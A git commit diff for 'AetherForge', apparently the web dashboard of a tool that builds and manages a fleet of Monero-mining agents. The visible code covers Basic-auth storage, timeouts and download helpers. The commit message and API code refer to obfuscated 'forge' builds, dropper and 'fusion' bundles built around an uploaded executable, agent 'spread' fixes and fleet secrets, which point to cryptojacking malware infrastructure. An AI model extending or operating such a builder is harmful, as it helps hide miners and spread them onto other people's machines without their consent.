fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -2,26 +2,66 @@
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { authHeaders, clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
|
||||
import {
|
||||
AETHERFORGE_CLIENT_HEADER,
|
||||
AETHERFORGE_CLIENT_VALUE,
|
||||
authHeaders,
|
||||
clearStoredAuth,
|
||||
consumeAuthExpiredFlag,
|
||||
encodeBasicToken,
|
||||
getStoredAuth,
|
||||
setStoredAuth,
|
||||
} from '../api/auth';
|
||||
|
||||
const AUTH_KEY = 'aetherforge_auth';
|
||||
|
||||
describe('auth session helpers', () => {
|
||||
beforeEach(() => {
|
||||
sessionStorage.clear();
|
||||
localStorage.clear();
|
||||
});
|
||||
|
||||
it('stores and retrieves basic token', () => {
|
||||
it('stores and retrieves basic token in session and local storage', () => {
|
||||
setStoredAuth('drjones', 'secret');
|
||||
expect(getStoredAuth()).toBe(btoa('drjones:secret'));
|
||||
const token = encodeBasicToken('drjones', 'secret');
|
||||
expect(getStoredAuth()).toBe(token);
|
||||
expect(sessionStorage.getItem(AUTH_KEY)).toBe(token);
|
||||
expect(localStorage.getItem(AUTH_KEY)).toBe(token);
|
||||
});
|
||||
|
||||
it('builds Authorization header when logged in', () => {
|
||||
it('reads from localStorage when sessionStorage is empty', () => {
|
||||
const token = encodeBasicToken('user', 'pass');
|
||||
localStorage.setItem(AUTH_KEY, token);
|
||||
expect(getStoredAuth()).toBe(token);
|
||||
});
|
||||
|
||||
it('builds Authorization and client header when logged in', () => {
|
||||
setStoredAuth('user', 'pass');
|
||||
expect(authHeaders()).toEqual({ Authorization: `Basic ${btoa('user:pass')}` });
|
||||
expect(authHeaders()).toEqual({
|
||||
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
|
||||
Authorization: `Basic ${encodeBasicToken('user', 'pass')}`,
|
||||
});
|
||||
});
|
||||
|
||||
it('returns empty headers when logged out', () => {
|
||||
it('includes client header when logged out', () => {
|
||||
clearStoredAuth();
|
||||
expect(authHeaders()).toEqual({});
|
||||
expect(authHeaders()).toEqual({
|
||||
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
|
||||
});
|
||||
});
|
||||
|
||||
it('clears both storages on logout', () => {
|
||||
setStoredAuth('user', 'pass');
|
||||
clearStoredAuth();
|
||||
expect(sessionStorage.getItem(AUTH_KEY)).toBeNull();
|
||||
expect(localStorage.getItem(AUTH_KEY)).toBeNull();
|
||||
expect(getStoredAuth()).toBeNull();
|
||||
});
|
||||
|
||||
it('encodeBasicToken supports non-ASCII passwords', () => {
|
||||
const token = encodeBasicToken('user', 'päss');
|
||||
expect(token).toBeTruthy();
|
||||
expect(token).not.toBe(btoa('user:päss'));
|
||||
});
|
||||
|
||||
it('getStoredAuth returns null when sessionStorage throws', () => {
|
||||
@@ -30,4 +70,11 @@ describe('auth session helpers', () => {
|
||||
});
|
||||
expect(getStoredAuth()).toBeNull();
|
||||
});
|
||||
|
||||
it('consumeAuthExpiredFlag is set once on expired logout', () => {
|
||||
setStoredAuth('user', 'pass');
|
||||
clearStoredAuth({ expired: true });
|
||||
expect(consumeAuthExpiredFlag()).toBe(true);
|
||||
expect(consumeAuthExpiredFlag()).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,30 +1,105 @@
|
||||
const AUTH_KEY = 'aetherforge_auth';
|
||||
const AUTH_EXPIRED_KEY = 'aetherforge_auth_expired';
|
||||
|
||||
export function getStoredAuth(): string | null {
|
||||
export const AETHERFORGE_CLIENT_HEADER = 'X-AetherForge-Client';
|
||||
export const AETHERFORGE_CLIENT_VALUE = 'dashboard';
|
||||
|
||||
/** UTF-8-safe Basic auth token (username:password) for Authorization header. */
|
||||
export function encodeBasicToken(username: string, password: string): string {
|
||||
const bytes = new TextEncoder().encode(`${username}:${password}`);
|
||||
let binary = '';
|
||||
for (let i = 0; i < bytes.length; i++) {
|
||||
binary += String.fromCharCode(bytes[i]);
|
||||
}
|
||||
return btoa(binary);
|
||||
}
|
||||
|
||||
function readAuthStorage(): string | null {
|
||||
try {
|
||||
return sessionStorage.getItem(AUTH_KEY);
|
||||
const session = sessionStorage.getItem(AUTH_KEY);
|
||||
if (session) return session;
|
||||
} catch {
|
||||
/* sessionStorage blocked */
|
||||
}
|
||||
try {
|
||||
return localStorage.getItem(AUTH_KEY);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function writeAuthStorage(token: string) {
|
||||
try {
|
||||
sessionStorage.setItem(AUTH_KEY, token);
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
try {
|
||||
localStorage.setItem(AUTH_KEY, token);
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
function removeAuthStorage() {
|
||||
try {
|
||||
sessionStorage.removeItem(AUTH_KEY);
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
try {
|
||||
localStorage.removeItem(AUTH_KEY);
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
export function getStoredAuth(): string | null {
|
||||
return readAuthStorage();
|
||||
}
|
||||
|
||||
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
|
||||
const token = btoa(`${username}:${password}`);
|
||||
sessionStorage.setItem(AUTH_KEY, token);
|
||||
const token = encodeBasicToken(username, password);
|
||||
writeAuthStorage(token);
|
||||
if (!opts?.silent) {
|
||||
window.dispatchEvent(new Event('aetherforge-auth'));
|
||||
}
|
||||
}
|
||||
|
||||
export function clearStoredAuth(opts?: { silent?: boolean }) {
|
||||
sessionStorage.removeItem(AUTH_KEY);
|
||||
export function clearStoredAuth(opts?: { silent?: boolean; expired?: boolean }) {
|
||||
if (opts?.expired) {
|
||||
try {
|
||||
sessionStorage.setItem(AUTH_EXPIRED_KEY, '1');
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
removeAuthStorage();
|
||||
if (!opts?.silent) {
|
||||
window.dispatchEvent(new Event('aetherforge-auth'));
|
||||
}
|
||||
}
|
||||
|
||||
/** True once after a 401 cleared stored credentials; consumed by SessionGate login UI. */
|
||||
export function consumeAuthExpiredFlag(): boolean {
|
||||
try {
|
||||
if (sessionStorage.getItem(AUTH_EXPIRED_KEY)) {
|
||||
sessionStorage.removeItem(AUTH_EXPIRED_KEY);
|
||||
return true;
|
||||
}
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
export function authHeaders(): Record<string, string> {
|
||||
const headers: Record<string, string> = {
|
||||
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
|
||||
};
|
||||
const token = getStoredAuth();
|
||||
if (!token) return {};
|
||||
return { Authorization: `Basic ${token}` };
|
||||
if (token) {
|
||||
headers.Authorization = `Basic ${token}`;
|
||||
}
|
||||
return headers;
|
||||
}
|
||||
|
||||
@@ -22,6 +22,7 @@ describe('api client', () => {
|
||||
|
||||
beforeEach(() => {
|
||||
sessionStorage.clear();
|
||||
localStorage.clear();
|
||||
fetchMock = vi.fn();
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
});
|
||||
@@ -38,6 +39,7 @@ describe('api client', () => {
|
||||
function expectAuthHeaders(init: RequestInit) {
|
||||
const headers = init.headers as Record<string, string>;
|
||||
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
|
||||
expect(headers['X-AetherForge-Client']).toBe('dashboard');
|
||||
}
|
||||
|
||||
it('sends JSON Content-Type and auth on listAgents', async () => {
|
||||
@@ -69,6 +71,16 @@ describe('api client', () => {
|
||||
|
||||
const headers = lastFetch().init.headers as Record<string, string>;
|
||||
expect(headers.Authorization).toBeUndefined();
|
||||
expect(headers['X-AetherForge-Client']).toBe('dashboard');
|
||||
});
|
||||
|
||||
it('clears stored auth on 401 API response', async () => {
|
||||
setStoredAuth('user', 'pass');
|
||||
fetchMock.mockResolvedValueOnce(textResponse('Unauthorized', 401));
|
||||
|
||||
await expect(api.listAgents()).rejects.toThrow('API error 401');
|
||||
expect(sessionStorage.getItem('aetherforge_auth')).toBeNull();
|
||||
expect(localStorage.getItem('aetherforge_auth')).toBeNull();
|
||||
});
|
||||
|
||||
it('getAgentStats appends limit query param', async () => {
|
||||
@@ -111,6 +123,18 @@ describe('api client', () => {
|
||||
expect(url).toBe('/api/v1/builder/build');
|
||||
expect(init.method).toBe('POST');
|
||||
expect(init.body).toBe(JSON.stringify(req));
|
||||
expect(init.signal).toBeDefined();
|
||||
});
|
||||
|
||||
it('buildAgent surfaces server error from JSON body', async () => {
|
||||
const req = { fusion_enabled: false, wallet: '4' + 'A'.repeat(94) } as Parameters<typeof api.buildAgent>[0];
|
||||
fetchMock.mockResolvedValueOnce({
|
||||
ok: false,
|
||||
status: 500,
|
||||
text: async () => JSON.stringify({ success: false, error: 'compile failed (garble): OOM' }),
|
||||
});
|
||||
|
||||
await expect(api.buildAgent(req)).rejects.toThrow('compile failed (garble): OOM');
|
||||
});
|
||||
|
||||
it('buildAgent rejects fusion without prep file', async () => {
|
||||
|
||||
@@ -1,11 +1,72 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
|
||||
import { authHeaders } from './auth';
|
||||
import { authHeaders, clearStoredAuth } from './auth';
|
||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||
|
||||
const API_BASE = '/api/v1';
|
||||
|
||||
/** Forge compiles (garble / universal / fusion) can run 10–30+ minutes. */
|
||||
export const FORGE_BUILD_TIMEOUT_MS = 45 * 60 * 1000;
|
||||
|
||||
/** Fusion size estimate uploads prep.exe — allow longer than default REST. */
|
||||
const FUSION_ESTIMATE_TIMEOUT_MS = 2 * 60 * 1000;
|
||||
|
||||
/** Agent log refresh=1 may block until new lines arrive. */
|
||||
const AGENT_LOG_REFRESH_TIMEOUT_MS = 90 * 1000;
|
||||
|
||||
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
|
||||
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
|
||||
|
||||
function forgeTimeoutError(): Error {
|
||||
return new Error(
|
||||
'Forge timed out — max settings (garble, universal, fusion) can take 30+ minutes. ' +
|
||||
'Wait longer, disable obfuscation, or forge one target at a time.',
|
||||
);
|
||||
}
|
||||
|
||||
async function parseForgeBuildResponse(res: Response): Promise<BuildResponse> {
|
||||
const text = await res.text();
|
||||
if (!res.ok) {
|
||||
try {
|
||||
const body = JSON.parse(text) as BuildResponse;
|
||||
if (body.error) {
|
||||
throw new Error(body.error);
|
||||
}
|
||||
} catch (e) {
|
||||
if (e instanceof Error && !(e instanceof SyntaxError) && !e.message.startsWith('API error')) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
throw new Error(text.trim() || `Build failed (${res.status})`);
|
||||
}
|
||||
return JSON.parse(text) as BuildResponse;
|
||||
}
|
||||
|
||||
async function postForgeBuild(url: string, init: RequestInit): Promise<BuildResponse> {
|
||||
const controller = new AbortController();
|
||||
const timer = setTimeout(() => controller.abort(), FORGE_BUILD_TIMEOUT_MS);
|
||||
try {
|
||||
const res = await fetch(`${API_BASE}${url}`, {
|
||||
...init,
|
||||
signal: controller.signal,
|
||||
headers: {
|
||||
...authHeaders(),
|
||||
...(init.headers as Record<string, string> | undefined),
|
||||
},
|
||||
});
|
||||
if (res.status === 401) {
|
||||
clearStoredAuth({ expired: true });
|
||||
}
|
||||
return await parseForgeBuildResponse(res);
|
||||
} catch (e) {
|
||||
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||
throw forgeTimeoutError();
|
||||
}
|
||||
throw e;
|
||||
} finally {
|
||||
clearTimeout(timer);
|
||||
}
|
||||
}
|
||||
|
||||
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
|
||||
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
|
||||
const controller = new AbortController();
|
||||
@@ -24,10 +85,18 @@ async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 1000
|
||||
},
|
||||
});
|
||||
if (!res.ok) {
|
||||
if (res.status === 401) {
|
||||
clearStoredAuth({ expired: true });
|
||||
}
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json();
|
||||
} catch (e) {
|
||||
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||
throw new Error(`Request timed out after ${Math.round(timeoutMs / 1000)}s`);
|
||||
}
|
||||
throw e;
|
||||
} finally {
|
||||
clearTimeout(timer);
|
||||
}
|
||||
@@ -65,20 +134,14 @@ export const api = {
|
||||
const form = new FormData();
|
||||
form.append('config', JSON.stringify(req));
|
||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||
return fetch(`${API_BASE}/builder/build`, {
|
||||
return postForgeBuild('/builder/build', {
|
||||
method: 'POST',
|
||||
headers: authHeaders(),
|
||||
body: form,
|
||||
}).then(async (res) => {
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json() as Promise<BuildResponse>;
|
||||
});
|
||||
}
|
||||
return fetchJSON<BuildResponse>('/builder/build', {
|
||||
return postForgeBuild('/builder/build', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(req),
|
||||
});
|
||||
},
|
||||
@@ -90,17 +153,31 @@ export const api = {
|
||||
const form = new FormData();
|
||||
form.append('config', JSON.stringify(req));
|
||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||
const controller = new AbortController();
|
||||
const timer = setTimeout(() => controller.abort(), FUSION_ESTIMATE_TIMEOUT_MS);
|
||||
return fetch(`${API_BASE}/builder/estimate`, {
|
||||
method: 'POST',
|
||||
headers: authHeaders(),
|
||||
body: form,
|
||||
}).then(async (res) => {
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json() as Promise<FusionEstimate>;
|
||||
});
|
||||
signal: controller.signal,
|
||||
})
|
||||
.then(async (res) => {
|
||||
if (res.status === 401) {
|
||||
clearStoredAuth({ expired: true });
|
||||
}
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json() as Promise<FusionEstimate>;
|
||||
})
|
||||
.catch((e) => {
|
||||
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||
throw new Error('Fusion estimate timed out — try a smaller prep file or retry.');
|
||||
}
|
||||
throw e;
|
||||
})
|
||||
.finally(() => clearTimeout(timer));
|
||||
},
|
||||
|
||||
pinBuild: (buildId: string) =>
|
||||
@@ -159,12 +236,17 @@ export const api = {
|
||||
body: JSON.stringify(mac ? { mac } : {}),
|
||||
}),
|
||||
getAgentLog: (id: string, refresh = false) =>
|
||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||
fetchJSON<{ agent_id: string; content: string }>(
|
||||
`/agents/${id}/log${refresh ? '?refresh=1' : ''}`,
|
||||
undefined,
|
||||
refresh ? AGENT_LOG_REFRESH_TIMEOUT_MS : 10000,
|
||||
),
|
||||
|
||||
downloadAgentLog: async (id: string): Promise<void> => {
|
||||
const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, {
|
||||
headers: { ...authHeaders() },
|
||||
});
|
||||
const res = await fetchAuthedWithTimeout(
|
||||
`${API_BASE}/agents/${id}/log?download=1`,
|
||||
DOWNLOAD_TIMEOUT_MS,
|
||||
);
|
||||
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
|
||||
const blob = await res.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
@@ -236,9 +318,8 @@ export const api = {
|
||||
|
||||
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
|
||||
downloadBackup: async (): Promise<void> => {
|
||||
const res = await fetch(`${API_BASE}/backup`, {
|
||||
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
|
||||
method: 'GET',
|
||||
headers: { ...authHeaders() },
|
||||
});
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { downloadAuthedFile, downloadApiFile } from './download';
|
||||
import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download';
|
||||
import { setStoredAuth } from './auth';
|
||||
|
||||
describe('downloadAuthedFile', () => {
|
||||
@@ -11,6 +11,7 @@ describe('downloadAuthedFile', () => {
|
||||
|
||||
beforeEach(() => {
|
||||
sessionStorage.clear();
|
||||
localStorage.clear();
|
||||
fetchMock = vi.fn();
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
clickMock = vi.fn();
|
||||
@@ -30,7 +31,9 @@ describe('downloadAuthedFile', () => {
|
||||
|
||||
const [url, init] = fetchMock.mock.calls[0];
|
||||
expect(url).toBe('/api/v1/builds/b1/download');
|
||||
expect((init.headers as Record<string, string>).Authorization).toBe(`Basic ${btoa('user:pass')}`);
|
||||
const headers = init.headers as Record<string, string>;
|
||||
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
|
||||
expect(headers['X-AetherForge-Client']).toBe('dashboard');
|
||||
expect(clickMock).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
@@ -65,4 +68,18 @@ describe('downloadAuthedFile', () => {
|
||||
it('downloadApiFile is an alias', () => {
|
||||
expect(downloadApiFile).toBe(downloadAuthedFile);
|
||||
});
|
||||
|
||||
it('throws timeout message when download exceeds limit', async () => {
|
||||
fetchMock.mockImplementation((_url, init?: RequestInit) => {
|
||||
return new Promise((_, reject) => {
|
||||
init?.signal?.addEventListener('abort', () => {
|
||||
reject(new DOMException('The operation was aborted.', 'AbortError'));
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
await expect(fetchAuthedWithTimeout('/api/v1/builds/x/download', 1500)).rejects.toThrow(
|
||||
'Download timed out after 2s',
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,9 +1,46 @@
|
||||
import { authHeaders } from './auth';
|
||||
|
||||
/** Large build artifacts (ZIP, fusion bundles). */
|
||||
export const DOWNLOAD_TIMEOUT_MS = 5 * 60 * 1000;
|
||||
|
||||
/** Full deck backup zip — may include DB + config. */
|
||||
export const BACKUP_DOWNLOAD_TIMEOUT_MS = 10 * 60 * 1000;
|
||||
|
||||
function downloadTimeoutError(timeoutMs: number): Error {
|
||||
return new Error(`Download timed out after ${Math.round(timeoutMs / 1000)}s`);
|
||||
}
|
||||
|
||||
/** Authenticated fetch with abort timeout and consistent AbortError messaging. */
|
||||
export async function fetchAuthedWithTimeout(
|
||||
url: string,
|
||||
timeoutMs: number,
|
||||
init?: RequestInit,
|
||||
): Promise<Response> {
|
||||
const controller = new AbortController();
|
||||
const timer = setTimeout(() => controller.abort(), timeoutMs);
|
||||
try {
|
||||
return await fetch(url, {
|
||||
...init,
|
||||
signal: controller.signal,
|
||||
headers: {
|
||||
...authHeaders(),
|
||||
...(init?.headers as Record<string, string> | undefined),
|
||||
},
|
||||
});
|
||||
} catch (e) {
|
||||
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||
throw downloadTimeoutError(timeoutMs);
|
||||
}
|
||||
throw e;
|
||||
} finally {
|
||||
clearTimeout(timer);
|
||||
}
|
||||
}
|
||||
|
||||
/** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
|
||||
export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> {
|
||||
const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
|
||||
const res = await fetch(path, { headers: authHeaders() });
|
||||
const res = await fetchAuthedWithTimeout(path, DOWNLOAD_TIMEOUT_MS);
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(err || `Download failed (${res.status})`);
|
||||
|
||||
@@ -50,17 +50,15 @@ export default function HashrateChart({
|
||||
const gradId = colorToId(color);
|
||||
const peak = chartSeriesPeak(data);
|
||||
const delta = chartSeriesDelta(data);
|
||||
const liveLabel =
|
||||
displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION';
|
||||
const liveClass =
|
||||
displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
|
||||
const liveLabel = displayMode === 'live' ? '● LIVE' : '○ IDLE';
|
||||
const liveClass = displayMode === 'live' ? 'pulse' : 'empty';
|
||||
|
||||
if (data.length === 0) {
|
||||
return (
|
||||
<div className="chart-empty neon-chart-panel wealth-empty">
|
||||
<div className="chart-empty-icon">◈</div>
|
||||
<p className="font-tech">{title || 'Telemetry'}</p>
|
||||
<span>Calibrating chart telemetry…</span>
|
||||
<span>No live data yet — connect miners to populate this chart</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -5,7 +5,6 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
|
||||
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
|
||||
import { timeToPayout } from '../../help/fleetAnalytics';
|
||||
import { formatHashrate } from '../../help/fleetFilters';
|
||||
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
|
||||
import './FleetPanels.css';
|
||||
|
||||
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
|
||||
@@ -174,26 +173,6 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
|
||||
);
|
||||
}
|
||||
|
||||
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
|
||||
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
|
||||
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
|
||||
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
|
||||
const usdDay = xmrDay * price;
|
||||
|
||||
return (
|
||||
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
|
||||
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
|
||||
<div className="stat-label font-tech">Target Fleet Earnings</div>
|
||||
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
|
||||
<div className="earnings-usd-day">≈ ${usdDay.toFixed(2)}/day</div>
|
||||
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
|
||||
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
|
||||
Deploy miners to replace projection with live pool data
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
// ─── Fleet Health Card ────────────────────────────────────────────────────────
|
||||
|
||||
export function FleetHealthCard({ health }: { health: FleetHealth }) {
|
||||
@@ -231,24 +210,20 @@ export function ContributionBars({
|
||||
bars,
|
||||
xmrPerDay,
|
||||
xmrPrice,
|
||||
sample = false,
|
||||
}: {
|
||||
bars: ContributionBar[];
|
||||
xmrPerDay?: number;
|
||||
xmrPrice?: number | null;
|
||||
sample?: boolean;
|
||||
}) {
|
||||
if (bars.length === 0) return null;
|
||||
return (
|
||||
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
|
||||
<NeonCard accent="cyan" className="section contrib-panel" hud>
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Contribution Map
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
{sample
|
||||
? 'Sample contribution map — your rigs will populate this lane when they connect.'
|
||||
: "Each bar shows a machine's share of total fleet hashrate."}
|
||||
Each bar shows a machine's share of total fleet hashrate.
|
||||
</p>
|
||||
<div className="contrib-list">
|
||||
{bars.map((b) => {
|
||||
|
||||
@@ -1,103 +1,159 @@
|
||||
import { useEffect, useState, type ReactNode } from 'react';
|
||||
import { getStoredAuth, setStoredAuth } from '../api/auth';
|
||||
import { useSound } from '../context/SoundContext';
|
||||
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
|
||||
|
||||
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
const { play } = useSound();
|
||||
const [ready, setReady] = useState(false);
|
||||
const [authed, setAuthed] = useState(!!getStoredAuth());
|
||||
const [user, setUser] = useState('');
|
||||
const [pass, setPass] = useState('');
|
||||
const [err, setErr] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
const token = getStoredAuth();
|
||||
if (!token) {
|
||||
setAuthed(false);
|
||||
setReady(true);
|
||||
return;
|
||||
}
|
||||
fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } })
|
||||
.then((r) => {
|
||||
setAuthed(r.ok);
|
||||
setReady(true);
|
||||
})
|
||||
.catch(() => {
|
||||
setAuthed(false);
|
||||
setReady(true);
|
||||
});
|
||||
}, []);
|
||||
|
||||
const handleLogin = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
setErr('');
|
||||
const token = btoa(`${user}:${pass}`);
|
||||
try {
|
||||
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
|
||||
if (!res.ok) {
|
||||
setErr('Login failed — check username and password.');
|
||||
play('error');
|
||||
return;
|
||||
}
|
||||
setStoredAuth(user, pass);
|
||||
setAuthed(true);
|
||||
play('success');
|
||||
} catch {
|
||||
setErr('Cannot reach server — check that miner-server is running.');
|
||||
}
|
||||
};
|
||||
|
||||
if (!ready) {
|
||||
return (
|
||||
<div className="session-gate">
|
||||
<div className="session-gate-sacred-ring" aria-hidden>
|
||||
<FlowerOfLifeWatermark opacity={0.5} />
|
||||
</div>
|
||||
<p className="font-tech">Starting AetherForge…</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (!authed) {
|
||||
return (
|
||||
<div className="session-gate">
|
||||
<div className="session-gate-sacred-ring" aria-hidden>
|
||||
<FlowerOfLifeWatermark opacity={0.5} />
|
||||
</div>
|
||||
<div className="session-gate-keys" aria-hidden>
|
||||
<div className="session-gate-key session-gate-key--tl">
|
||||
<KnowledgeKey opacity={0.55} />
|
||||
</div>
|
||||
<div className="session-gate-key session-gate-key--br">
|
||||
<KnowledgeKey opacity={0.45} />
|
||||
</div>
|
||||
</div>
|
||||
<form className="session-gate-card card" onSubmit={handleLogin}>
|
||||
<h1 className="font-display">AetherForge</h1>
|
||||
<p className="form-hint">Sign in to open the command deck.</p>
|
||||
<label className="label" htmlFor="session-user">Username</label>
|
||||
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
|
||||
<label className="label" htmlFor="session-pass">Password</label>
|
||||
<input
|
||||
id="session-pass"
|
||||
className="input"
|
||||
type="password"
|
||||
value={pass}
|
||||
onChange={(e) => setPass(e.target.value)}
|
||||
autoComplete="current-password"
|
||||
/>
|
||||
{err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
|
||||
<button type="submit" className="btn btn-primary btn-lg">
|
||||
Enter Command Deck
|
||||
</button>
|
||||
<p className="session-gate-whisper" aria-hidden>
|
||||
ψ · the deck remembers every key
|
||||
</p>
|
||||
</form>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return <>{children}</>;
|
||||
}
|
||||
import { useEffect, useState, type ReactNode } from 'react';
|
||||
|
||||
import {
|
||||
|
||||
AETHERFORGE_CLIENT_HEADER,
|
||||
|
||||
AETHERFORGE_CLIENT_VALUE,
|
||||
|
||||
authHeaders,
|
||||
|
||||
clearStoredAuth,
|
||||
|
||||
consumeAuthExpiredFlag,
|
||||
|
||||
encodeBasicToken,
|
||||
|
||||
getStoredAuth,
|
||||
|
||||
setStoredAuth,
|
||||
|
||||
} from '../api/auth';
|
||||
|
||||
import { useSound } from '../context/SoundContext';
|
||||
|
||||
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
|
||||
|
||||
|
||||
|
||||
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
|
||||
const { play } = useSound();
|
||||
|
||||
const [ready, setReady] = useState(false);
|
||||
|
||||
const [authed, setAuthed] = useState(!!getStoredAuth());
|
||||
|
||||
const [degraded, setDegraded] = useState(false);
|
||||
|
||||
const [user, setUser] = useState('');
|
||||
|
||||
const [pass, setPass] = useState('');
|
||||
|
||||
const [err, setErr] = useState('');
|
||||
|
||||
const [sessionExpired, setSessionExpired] = useState(false);
|
||||
|
||||
|
||||
|
||||
useEffect(() => {
|
||||
|
||||
const sync = () => {
|
||||
|
||||
const hasAuth = !!getStoredAuth();
|
||||
|
||||
